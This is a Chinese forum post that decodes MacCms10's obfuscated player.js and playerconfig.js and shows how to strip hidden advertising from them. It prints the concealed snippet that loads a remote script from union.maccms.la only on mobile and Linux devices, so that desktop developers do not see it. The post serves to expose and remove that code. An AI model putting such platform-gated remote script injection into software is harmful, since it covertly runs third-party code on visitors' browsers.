zzcat 发表于 2 小时前

MgicBlock的MacCms10 player.js解密及分析

本来是要发GH的,但考虑到一些问题,所以决定还是在这里发了



大家可以帮忙发到Github上(记得带上本帖子链接)

还有本文附件中evel解密工具理论可解所有js evel壳

# MagicBlock/MacCms10 去广告教程

## 问题背景

解密 MacCms10 的 `player.js` 后,发现了一段判断逻辑:

```js
if(!/(Win|Mac)/i.test(navigator.platform)){
    var a=document.createElement('script');
    a.type='text/javascript';
    a.async=true;
    a.charset='utf-8';
    a.src='//union.maccms.la/html/top10.js'+'?r='+this.GetDate('yyyyMMdd');
    var b=document.getElementsByTagName('script');
    b.parentNode.insertBefore(a,b)
}
```

该脚本**仅在非 Windows/Mac 系统**(如 Linux、Android、iOS)上加载,从而避免开发者在桌面端测试时发现。

获取到的 `top10.js` 内容如下:

```js
if (MacPlayer.Status) {} else {$("#install").attr('src', '//union.maccms.la/html/' + MacPlayer.PlayFrom + '.html')}
```

**这就是你网站弹广告的根本原因。**

---

## 解决方案

### 1. 替换 player.js

用本仓库中的 `player.js` 覆盖 `/static/js/player.js`

### 2. 替换 playerconfig.js 并补充资源文件(以防万一)

原始 `playerconfig.js` 存在~~极其简单的~~编码混淆,解密后的配置如下:

```js
var MacPlayerConfig = {};

//参数开始
MacPlayerConfig = {
    "width": "100%",
    "height": "100%",
    "widthmob": "100%",
    "heightmob": "100%",
    "widthpop": "0",
    "heightpop": "600",
    "second": "5",
    "prestrain": "//union.maccms.la/html/prestrain.html",
    "buffer": "//union.maccms.la/html/loading.html",
    "parse": "",
    "autofull": "0",
    "showtop": "1",
    "showlist": "1",
    "flag": "0",
    "colors": "000000,F6F6F6,F6F6F6,333333,666666,FFFFF,FF0000,2c2c2c,ffffff,a3a3a3,2c2c2c,adadad,adadad,48486c,fcfcfc"
};

//参数结束
//缓存开始
MacPlayerConfig.player_list = {
    "dplayer": {
      "show": "DPlayer-H5播放器",
      "des": "dplayer.js.org",
      "ps": "0",
      "parse": ""
    },
    "videojs": {
      "show": "videojs-H5播放器",
      "des": "videojs.com",
      "ps": "0",
      "parse": ""
    },
    "iva": {
      "show": "iva-H5播放器",
      "des": "videojj.com",
      "ps": "0",
      "parse": ""
    },
    "iframe": {
      "show": "iframe外链数据",
      "des": "iframe外链数据",
      "ps": "0",
      "parse": ""
    },
    "link": {
      "show": "外链数据",
      "des": "外部网站播放链接",
      "ps": "0",
      "parse": ""
    },
    "swf": {
      "show": "Flash文件",
      "des": "swf",
      "ps": "0",
      "parse": ""
    },
    "flv": {
      "show": "Flv文件",
      "des": "flv",
      "ps": "0",
      "parse": ""
    }
};

MacPlayerConfig.downer_list = {
    "http": {
      "show": "http下载",
      "des": "des提示信息",
      "ps": "0",
      "parse": ""
    },
    "xunlei": {
      "show": "xunlei下载",
      "des": "des提示信息",
      "ps": "0",
      "parse": ""
    }
};

MacPlayerConfig.server_list = {
    "server1": {
      "show": "测试服务器1",
      "des": "des提示信息1"
    }
};
//缓存结束
```

**操作步骤:**
- ~~将本仓库中的 `prestrain.html` 和 `loading.html` 放入 `/static` 目录~~苹果cms内置有加载页
- 用本仓库中的 `playerconfig.js` 替换原文件

完成以上替换后,广告即可清除。

zzcat 发表于 2 小时前


附件好像没上传上,补上
页: [1]
查看完整版本: MgicBlock的MacCms10 player.js解密及分析